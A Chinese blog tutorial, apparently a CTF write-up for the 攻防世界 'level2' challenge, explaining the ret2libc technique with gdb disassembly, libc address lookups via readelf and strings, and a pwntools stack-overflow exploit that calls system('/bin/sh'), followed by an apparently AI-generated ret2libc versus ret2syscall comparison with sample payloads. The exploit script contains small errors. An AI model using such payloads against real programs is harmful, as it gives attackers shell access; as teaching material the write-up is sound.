ROP之ret2libc

本文详细介绍了ROP(Return-Oriented Programming)中的ret2libc技术,通过修改返回地址,利用程序或系统中的函数(如system())来执行特定操作。文章提供了具体的payload结构示例,展示了如何在Linux环境下通过gdb调试,定位system函数和/bin/sh的地址,最终构造溢出以实现shell的获取。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ROP之ret2libc

修改返回地址,让其指向内存中已有的某个函数

当函数调用栈的没有执行权限时,就不能执行我们自己写入的shellcode,就利用程序里或系统里的函数,libc动态链接库中通常就有需要的函数,如system()

payload结构

  • 通过溢出覆盖返回地址(相当于call system)

    padding + system address

  • 调用system时的返回地址,可以随便填

    padding+ system address + padding2

  • system的参数**/bin/sh**

    padding+ system address + padding2+/bin/sh address

实例

直接下载

攻防世界pwn-level2

自己编译

一步一步学 ROP 之 Linux_x86 篇 - 阿里聚安全 - SegmentFault 思否

mark

可以看到NX开启即No-eXecute(不可执行),也叫DEP

如果是64位的系统需要安装32位的运行环境

Linux(Ubuntu Kali)64位安装32位运行环境和编译环境 – Unitary-orz

然后用gdb调试,是一个简单输入后打印

(gdb) r
Starting program: /root/Desktop/level2 
[Detaching after fork from child process 4649]
Input:
1234
[Detaching after fork from child process 4650]
Hello World!
[Inferior 1 (process 4645) exited normally]

查看main

(gdb) disass main
Dump of assembler code for function main:
   0x08048480 <+0>:	lea    0x4(%esp),%ecx
   0x08048484 <+4>:	and    $0xfffffff0,%esp
   0x08048487 <+7>:	pushl  -0x4(%ecx)
   0x0804848a <+10>:	push   %ebp
   0x0804848b <+11>:	mov    %esp,%ebp
   0x0804848d <+13>:	push   %ecx
   0x0804848e <+14>:	sub    $0x4,%esp
   0x08048491 <+17>:	call   0x804844b <vulnerable_function>
   0x08048496 <+22>:	sub    $0xc,%esp
   0x08048499 <+25>:	push   $0x804854c
   0x0804849e <+30>:	call   0x8048320 <system@plt>
   0x080484a3 <+35>:	add    $0x10,%esp
   0x080484a6 <+38>:	mov    $0x0,%eax
   0x080484ab <+43>:	mov    -0x4(%ebp),%ecx
   0x080484ae <+46>:	leave  
   0x080484af <+47>:	lea    -0x4(%ecx),%esp
   0x080484b2 <+50>:	ret    
End of assembler dump.

跟进call 0x804844b <vulnerable_function>

(gdb) disass vulnerable_function 
Dump of assembler code for function vulnerable_function:
   0x0804844b <+0>:	push   %ebp
   0x0804844c <+1>:	mov    %esp,%ebp
   0x0804844e <+3>:	sub    $0x88,%esp
   0x08048454 <+9>:	sub    $0xc,%esp
   0x08048457 <+12>:	push   $0x8048540
   0x0804845c <+17>:	call   0x8048320 <system@plt>
   0x08048461 <+22>:	add    $0x10,%esp
   0x08048464 <+25>:	sub    $0x4,%esp
   0x08048467 <+28>:	push   $0x100
   0x0804846c <+33>:	lea    -0x88(%ebp),%eax
   0x08048472 <+39>:	push   %eax
   0x08048473 <+40>:	push   $0x0
   0x08048475 <+42>:	call   0x8048310 <read@plt>
   0x0804847a <+47>:	add    $0x10,%esp
   0x0804847d <+50>:	nop
   0x0804847e <+51>:	leave  
   0x0804847f <+52>:	ret    
End of assembler dump.

发现漏洞点read()函数,想办法进行利用

我们利用libc库中的内容,来执行system("bin/sh")

下断点在main函数

(gdb) b main
Breakpoint 1 at 0x804848e
(gdb) r
Starting program: /root/Desktop/level2 

Breakpoint 1, 0x0804848e in main ()
(gdb) info r
eax            0xf7f9adc8          -134631992
ecx            0xffffd390          -11376
edx            0xffffd3b4          -11340
ebx            0x0                 0
esp            0xffffd374          0xffffd374
ebp            0xffffd378          0xffffd378
esi            0xf7f99000          -134639616
edi            0xf7f99000          -134639616
eip            0x804848e           0x804848e <main+14>
eflags         0x282               [ SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

查看映射地址空间

(gdb) info proc mappings 
process 4800
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000        0x0 /root/Desktop/level2
	 0x8049000  0x804a000     0x1000        0x0 /root/Desktop/level2
	 0x804a000  0x804b000     0x1000     0x1000 /root/Desktop/level2
	0xf7dbf000 0xf7dd8000    0x19000        0x0 /lib32/libc-2.28.so
	0xf7dd8000 0xf7f26000   0x14e000    0x19000 /lib32/libc-2.28.so
[...]

可以看到libc.so在内存中的起始位置为0xf7dbf000

现在来找system()"/bin/sh"

通过gdb查找

我们打印system地址和查找"/bin/sh"

(gdb) find 0xf7dbf000,+9999999,"/bin/sh"
0xf7f3daaa
warning: Unable to access 16000 bytes of target memory at 0xf7f9b6b2, halting search.
1 pattern found.
(gdb) p system
$2 = {<text variable, no debug info>} 0xf7dfd9e0 <system>
(gdb) x/s 0xf7f3daaa #字符串形式查看
0xf7f3daaa:	"/bin/sh"
(gdb) x/i 0xf7dfd9e0  #指令形式查看
0xf7dfd9e0 <system>:call   0xf7ef6b2d

system0xf7dfd9e0

"/bin/sh"0xf7f3daaa



通过string和readelf查找

有时gdb查找出来的有问题

readelf

-s --syms              Display the symbol table

string

-t --radix={o,d,x}        Print the location of the string in base 8, 10 or 16

$ string -tx #使用16进制表示字符串位置

通过上面查出的lib.so的路径/lib32/libc-2.28.so来查找

函数地址

$ readelf -s /lib32/libc-2.28.so | grep system
   257: 0012a2c0   102 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   658: 0003e9e0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1525: 0003e9e0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

字符串地址

$ strings -tx /lib32/libc-2.28.so | grep "/bin/sh"
 17eaaa /bin/sh

得到的地址是偏移地址

通过上面libc.so 的地址0xf7dbf000来计算真正地址

system(): 0xf7dfd9e0 =0xf7dbf000+0003e9e0

"/bin/sh": 0xf7f3daaa =0xf7dbf000+17eaaa



pwntool获取

这个找的是程序内的地

from pwn import *
s = process("./level2")
elf = ELF('Desktop/level2')
sys = elf.symbols['system']
sh = elf.search('/bin/sh').next()


查看缓冲区大小

来看vulnerable_function

(gdb) disass vulnerable_function 
Dump of assembler code for function vulnerable_function:
   0x0804844b <+0>:	push   %ebp
   0x0804844c <+1>:	mov    %esp,%ebp
   0x0804844e <+3>:	sub    $0x88,%esp
   0x08048454 <+9>:	sub    $0xc,%esp
   0x08048457 <+12>:	push   $0x8048540
   0x0804845c <+17>:	call   0x8048320 <system@plt>
   0x08048461 <+22>:	add    $0x10,%esp
   0x08048464 <+25>:	sub    $0x4,%esp
   0x08048467 <+28>:	push   $0x100
   0x0804846c <+33>:	lea    -0x88(%ebp),%eax
   0x08048472 <+39>:	push   %eax
   0x08048473 <+40>:	push   $0x0
   0x08048475 <+42>:	call   0x8048310 <read@plt>
   0x0804847a <+47>:	add    $0x10,%esp
   0x0804847d <+50>:	nop
   0x0804847e <+51>:	leave  
   0x0804847f <+52>:	ret    
End of assembler dump.

通过sub $0x88,%esp看出缓冲区大小为0x88,然后加上ebp的地址就是覆盖返回地址,因为是32位所以加4

exp

padding+ system address + padding2+/bin/sh address

from pwn import *

s.process(./level2)
sys = 0xf7dfd9e0
sh = 0xf7f3daaa

payload = 'a'*(0x88+4) + p32(sys) + p32(0x12345678) + p32(sh)
s.recvuntil(':')
s.sendline(payload)
s.interactive()

参考

(26) Doing ret2libc with a Buffer Overflow because of restricted return pointer - bin 0x0F - YouTube

手把手教你栈溢出从入门到放弃(上) - 知乎

<think>好的,我现在需要回答用户关于ret2libc和ret2syscall区别的问题。首先,我得回忆一下这两种攻击方式的基本概念,然后找出它们之间的不同点。用户提供的引用中有几个相关的资料,我需要仔细看一下这些引用内容,确保回答准确。 首先,ret2libc是一种利用程序中已有的库函数(比如system函数)的攻击方式,通常用于绕过NX保护。当程序没有提供后门函数时,攻击者可能需要泄露libc的地址,然后构造ROP链调用system函数。引用3和4提到了ret2libc的例子,比如调用system函数并传递参数如"/bin/sh"字符串的地址。 接下来是ret2syscall,这应该是指直接调用系统调用(syscall)而不是通过libc中的函数。比如在x86架构下,通过int 0x80指令,或者在x64架构下使用syscall指令来执行系统调用。这种攻击需要控制寄存器的值来传递系统调用号和参数,通常需要构造更复杂的ROP链来设置这些寄存器。 两者的主要区别在于利用的机制不同:ret2libc依赖现有的库函数,而ret2syscall直接使用系统调用。另外,ret2syscall可能不需要泄漏libc地址,但需要找到合适的gadgets来设置寄存器。而ret2libc可能需要泄漏libc基址来计算函数地址,特别是当ASLR启用时。 需要注意的是,用户提供的引用中并没有直接提到ret2syscall的具体例子,但引用2提到了栈溢出/ret2shellcode/ret2syscall/ret2libc的分类,说明ret2syscall是另一种方法。结合我的知识,ret2syscall通常涉及将返回地址指向syscall指令,并布置好寄存器参数。 另外,用户可能混淆了ret2syscall和ret2shellcode的区别。ret2shellcode是将控制流转向注入的shellcode,而ret2syscall是构造系统调用。不过根据引用中的分类,ret2syscall是独立的一种方法。 现在需要组织这些信息,分点说明两者的区别,包括原理、适用场景、利用条件以及示例。同时,根据用户提供的引用,引用3和4中的ret2libc例子可以引用作为说明,而ret2syscall可能没有直接引用,但可以结合知识进行解释。 最后,生成相关问题,可能涉及如何构造payload、如何寻找gadgets、防御措施等。确保问题与主题相关,并帮助用户进一步学习。</think>### ret2libc与ret2syscall的区别及用法比较 #### 1. **原理差异** - **ret2libc**:通过劫持程序执行流,跳转到动态链接库(如`libc.so`)中的函数(如`system`)执行。例如,构造栈帧调用`system("/bin/sh")`获取shell[^3][^4]。 - **ret2syscall**:直接触发系统调用(如`execve`),通过汇编指令(如`int 0x80`或`syscall`)实现,需控制寄存器传递参数(如`eax`存储系统调用号,`ebx`、`ecx`等存储参数)[^2]。 #### 2. **适用场景** - **ret2libc**: - 当程序开启**NX保护**(禁止执行栈上的代码)时,无法注入shellcode。 - 需要利用程序中已有的`libc`函数地址或通过泄漏`libc`基址计算目标函数地址。 - **ret2syscall**: - 当程序中存在可用的**gadget链**(如`pop eax; ret`)时。 - 需要直接调用系统调用且无需依赖`libc`函数(如绕过ASLR对`libc`的影响)。 #### 3. **利用条件对比** | 条件 | ret2libc | ret2syscall | |---------------------|-----------------------------------|----------------------------------| | **依赖库函数** | 是(如`system`、`execve`) | 否(直接调用内核接口) | | **寄存器控制** | 仅需传递参数地址(如`/bin/sh`) | 需设置多个寄存器(系统调用号+参数)| | **对抗NX保护** | 有效(不执行栈代码) | 有效 | | **对抗ASLR** | 需泄漏`libc`基址 | 可能无需泄漏(若gadget地址固定) | #### 4. **示例对比** - **ret2libc示例**(调用`system("/bin/sh")`): ```python # 构造栈帧:[溢出填充] + [system地址] + [返回地址] + [参数地址] payload = flat(['a' * 112, system_adr, 'b' * 4, binsh_adr]) ``` - **ret2syscall示例**(触发`execve("/bin/sh", 0, 0)`): ```python # 需构造gadget链设置eax=11(execve系统调用号),ebx指向"/bin/sh",ecx=0, edx=0 gadgets = [pop_eax_ret, 11, pop_ebx_ret, binsh_addr, pop_ecx_edx_ret, 0, 0, int_0x80] payload = flat(['a' * offset] + gadgets) ``` #### 5. **防御措施** - **ret2libc**:启用**ASLR**随机化`libc`基址;限制函数指针修改。 - **ret2syscall**:部署**Control Flow Integrity (CFI)** 阻止非法ROP链;减少可用gadget数量。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值